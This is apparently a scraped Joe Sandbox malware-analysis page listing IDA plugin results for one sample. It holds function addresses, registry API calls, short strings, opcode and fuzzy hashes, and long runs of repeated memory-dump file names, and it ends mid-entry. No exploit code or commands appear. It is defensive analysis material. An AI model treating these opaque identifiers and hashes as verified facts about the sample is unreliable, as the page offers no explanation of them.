Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: cannot compare iterators of different containers$cannot get value$cannot use operator[] with a string argument with $h0Y+$type must be object, but is
API String ID: 0-83641148
Opcode ID: ec5513c3d5c289b17761df7278771b176c9718873d89d42125259c9e9216243c
Instruction ID: de0c3bfc15d757776006445cda0e090ac0b5c2f919db0ba7fa4530893358f977
Opcode Fuzzy Hash: ec5513c3d5c289b17761df7278771b176c9718873d89d42125259c9e9216243c
Instruction Fuzzy Hash: F87343B0D142698BDB25CF68C994BEDBBB4AF29304F1441D9D849A7282DB746FC4CF81

Function 0021F6F0 Relevance: 7.0, APIs: 2, Strings: 1, Instructions: 1702registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 0021FF15
__Xtime_get_ticks.LIBCPMT ref: 002211CD

Strings

h0Y+, xrefs: 00221413, 00221422

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: OpenXtime_get_ticks
String ID: h0Y+
API String ID: 1840626902-1014561341
Opcode ID: 21d7c213c362c86efb5e7bb78859dfe05c91dc582c6166e3a9b5df0340e41ba7
Instruction ID: 1e0cf740316799f52f011045bca92f76f19ef7859699cea17520aba9480f40db
Opcode Fuzzy Hash: 21d7c213c362c86efb5e7bb78859dfe05c91dc582c6166e3a9b5df0340e41ba7
Instruction Fuzzy Hash: E313F2B4D0425A8BCF15CFA8C995AEEBBB1BF18300F204199D549B7351EB341B85CFA6

Function 001D45E0 Relevance: 6.8, APIs: 2, Strings: 1, Instructions: 1501COMMON

Download Yara Rule

Strings

h0Y+, xrefs: 001D5DE4

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: ErrorLast
String ID: h0Y+
API String ID: 1452528299-1014561341
Opcode ID: 34814252b9b5622279c0e3072960742747beccdc4a43a384bdec85a2990abec9
Instruction ID: 83d6aa422d652a2603f4f71063fc88bea2d82ba25388642c1e0614cc48762fdd
Opcode Fuzzy Hash: 34814252b9b5622279c0e3072960742747beccdc4a43a384bdec85a2990abec9
Instruction Fuzzy Hash: 84E29A70D00268CBCB25CF68C8947EDBBB5AF55304F1482DAD859AB382DB709E85CF91

Function 001CB970 Relevance: 6.7, Strings: 1, Instructions: 5494COMMON

Download Yara Rule

Strings

;Yb., xrefs: 001CF60B

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: ;Yb.
API String ID: 0-3994988905
Opcode ID: 7ea026952616c30ece20e731f148233698b9e69a2245f23a127546e4170813f5
Instruction ID: 3403e20d4e640ba022205a5942ef67b8eef14e2e9df7b0029168f5b51b34949c
Opcode Fuzzy Hash: 7ea026952616c30ece20e731f148233698b9e69a2245f23a127546e4170813f5
Instruction Fuzzy Hash: 08E3CBB4D0525E8BCB15CFA8C9916EEBBB1FF48310F204199D949BB341DB316A81CFA5

Function 0018C960 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0246b7c8257089d2006fcf5613ddbd689f7c5a4dfde890d9d43b5e079dca0f71
Instruction ID: 075b54998562220d135236e1a870cca1182ee14e540dead746a8893866130d53
Opcode Fuzzy Hash: 0246b7c8257089d2006fcf5613ddbd689f7c5a4dfde890d9d43b5e079dca0f71
Instruction Fuzzy Hash: 4F021A71E012199BDF14DFA9D9806AEBBF1FF48314F248269E919E7340D731AA41CF90

Function 00221450 Relevance: 5.0, APIs: 1, Strings: 1, Instructions: 1475registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?,?,?,?,00000000), ref: 00221C2A

Strings

h0Y+, xrefs: 00222D88, 00222D97

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Open
String ID: h0Y+
API String ID: 71445658-1014561341
Opcode ID: cb7607ca3b4c3c5f089214be82157562623d2efdb0f96ff9f257d9fbdc0aa79f
Instruction ID: bc7c9a0f855100dd3517fc1c4b8ada793effb08f4d3509cdd77def30ac6ac192
Opcode Fuzzy Hash: cb7607ca3b4c3c5f089214be82157562623d2efdb0f96ff9f257d9fbdc0aa79f
